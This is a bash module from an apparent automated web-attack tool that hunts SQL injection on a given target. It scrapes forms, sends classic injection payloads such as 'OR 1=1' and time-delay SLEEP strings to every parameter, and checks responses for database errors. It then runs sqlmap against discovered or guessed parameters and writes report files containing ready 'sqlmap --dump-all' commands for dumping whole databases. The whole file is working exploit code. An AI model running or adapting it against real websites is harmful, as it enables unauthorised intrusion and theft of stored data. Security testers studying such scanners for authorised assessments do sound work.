th-analyzer/vectors/01-sqli.sh

#!/usr/bin/env bash
# Vector 01: SQL Injection v2 — Real Exploitation
# Desc: Finds injectable params on discovered forms/URLs and exploits them
# Detect: Forms with POST params, URL query params, login pages
# Severity: CRITICAL
# Tools: sqlmap, curl

vector_sqli_v2() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local base=$(get_base "$target")
  local findings=0
  
  print_info "Hunting SQL Injection..."
  
  # Get discovered attack surface
  local forms=$(get_discovered_forms "$domain" 2>/dev/null)
  local params=$(get_discovered_params "$domain" 2>/dev/null)
  local urls=$(get_discovered_urls "$domain" 2>/dev/null)
  
  # If no discovery data, extract from the target page directly
  if [ -z "$forms" ]; then
    print_sub "No discovery data. Extracting from target..."
    local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null)
    forms=$(echo "$page" | perl -0 -nle 'while (/<form[^>]*>.*?<\/form>/gs) { 
      my $f = $&;
      my $action = $1 if $f =~ /action="([^"]*)"/;
      my $method = $1 if $f =~ /method="([^"]*)"/;
      my @inputs = $f =~ /name="([^"]*)"/g;
      print "1|$method|$action|@inputs\n" if @inputs;
    }')
  fi
  
  local tested_count=0
  
  # --- Test forms for SQLi ---
  if [ -n "$forms" ]; then
    print_sub "Testing forms for SQL injection..."
    
    while IFS= read -r form; do
      [ -z "$form" ] && continue
      
      local form_method=$(echo "$form" | cut -d'|' -f2)
      local form_action=$(echo "$form" | cut -d'|' -f3)
      local form_params=$(echo "$form" | cut -d'|' -f4-)
      
      # Make absolute URL
      if [[ "$form_action" == /* ]]; then
        form_action="${base}${form_action}"
      elif [[ "$form_action" != http* ]]; then
        form_action="${base}/${form_action}"
      fi
      
      [ -z "$form_action" ] && form_action="$target"
      
      # Test each parameter with SQLi payloads
      local payloads=(
        "'"
        "1'"
        "1' OR '1'='1"
        "1' OR 1=1--"
        "1' AND SLEEP(3)--"
        "' OR '1'='1' --"
        "admin' --"
      )
      
      for param in $form_params; do
        for payload in "${payloads[@]}"; do
          tested_count=$((tested_count + 1))
          
          local response=""
          if [ "$form_method" = "post" ]; then
            response=$(curl -s --connect-timeout 7 --max-time 12 \
              -X POST \
              -d "$param=$payload" \
              -b "$param=$payload" \
              "$form_action" 2>/dev/null)
          else
            local test_url="${form_action}${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
            [[ "$form_action" != *\?* ]] && test_url="${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
            response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
          fi
          
          # Check for error-based SQLi
          if echo "$response" | grep -qiE "sql|mysql|syntax|ora-|unclosed|quotation|odbc|driver|mysql_fetch|pg_|sqlite|you have an error"; then
            print_find "SQLi on $form_action param=$param" "Error-based with payload: $payload"
            echo "SEVERITY: CRITICAL
VECTOR: SQL Injection (Error-based)
DETAIL: SQL injection on $form_action parameter '$param'
EVIDENCE: Database error messages with payload: $payload
EXPLOIT: sqlmap -u \"$form_action\" --data=\"$param=$payload\" --batch --dump" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-form.txt"
            findings=$((findings + 1))
            break 2  # Found it on this form, move on
          fi
        done
      done
    done <<< "$forms"
  fi
  
  # --- Test URL parameters with sqlmap ---
  if command -v sqlmap &>/dev/null; then
    print_sub "Running sqlmap on discovered URLs with params..."
    
    # Find URLs with parameters
    local param_urls=$(echo -e "$urls" | grep '\?' | head -5)
    
    if [ -n "$param_urls" ]; then
      while IFS= read -r url; do
        [ -z "$url" ] && continue
        
        print_sub "sqlmap: $url"
        local sqlmap_out=$(timeout 90 sqlmap -u "$url" \
          --batch --level=3 --risk=2 \
          --random-agent \
          --threads=5 \
          --time-sec=3 \
          --output-dir="$REPORTS_DIR/.sqlmap" \
          2>&1 | tail -30)
        
        if echo "$sqlmap_out" | grep -qiE "Parameter.*GET|injectable|vulnerable|Type:"; then
          local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -3)
          print_find "SQLi confirmed by sqlmap!" "$injectable"
          echo "SEVERITY: CRITICAL
VECTOR: SQL Injection (sqlmap confirmed)
DETAIL: sqlmap confirmed injection on $url
EVIDENCE: $injectable
EXPLOIT: sqlmap -u \"$url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-sqlmap.txt"
          findings=$((findings + 1))
        fi
      done <<< "$param_urls"
    else
      # No params found — try sqlmap on base URL with common params
      local common_params=("id" "page" "pid" "cat" "category" "product" "user" "uid" "view" "file" "q" "s" "search" "order")
      for param in "${common_params[@]}"; do
        local test_url="${target}?${param}=1"
        print_sub "sqlmap probing: $param=$test_url"
        local sqlmap_out=$(timeout 60 sqlmap -u "$test_url" \
          --batch --level=2 --risk=2 \
          --random-agent \
          --threads=5 \
          --time-sec=3 \
          --output-dir="$REPORTS_DIR/.sqlmap" \
          2>&1 | tail -20)
        if echo "$sqlmap_out" | grep -qiE "Parameter|injectable|vulnerable|Type:"; then
          print_find "SQLi confirmed via $param!" ""
          echo "SEVERITY: CRITICAL
VECTOR: SQL Injection
DETAIL: sqlmap confirmed injection via param '$param' on $target
EVIDENCE: $(echo "$sqlmap_out" | grep -oP "Type: [^)]+\)" | head -1)
EXPLOIT: sqlmap -u \"$test_url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-probe.txt"
          findings=$((findings + 1))
          break
        fi
      done
    fi
  else
    print_skip "sqlmap not installed. Manual SQLi checks only."
  fi
  
  if [ "$findings" -eq 0 ]; then
    print_ok "No SQL injection found (tested $tested_count payloads)"
  fi
  
  return $findings
}